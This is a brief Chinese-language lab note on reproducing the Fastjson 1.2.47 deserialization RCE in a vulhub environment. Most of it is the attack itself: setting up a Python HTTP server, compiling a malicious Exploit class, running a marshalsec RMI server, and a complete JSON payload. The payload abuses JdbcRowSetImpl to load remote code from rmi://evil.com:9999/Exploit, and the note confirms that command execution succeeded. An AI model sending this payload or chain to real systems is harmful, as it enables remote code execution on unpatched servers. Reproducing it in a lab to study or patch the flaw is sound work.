1.影响版本
1.2.48以下版本
2.环境搭建
用p牛的vulhub复现
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
3.使用JNDI配合RMI or LDAP二阶注入
marshalsec工具,用来开启RMI&LDAP
https://github.com/MagicZer0/fastjson-rce-exploit/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar
3.1用python搭建一个http服务
py -3 -m http.server 80
3.2编译恶意类
javac Exploit.java
3.3用marshalsec开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8000/#Exploit 9999
payload
{
“a”:{
“@type”:”java.lang.Class”,
“val”:”com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”rmi://evil.com:9999/Exploit”,
“autoCommit”:true
}
}
3.4 发送payload攻击
rmi收到请求
http服务收到请求
命令touch /tmp/success
已成功执行了。
4.坑点
rmi和ldap的利用方式对jdk版本有限制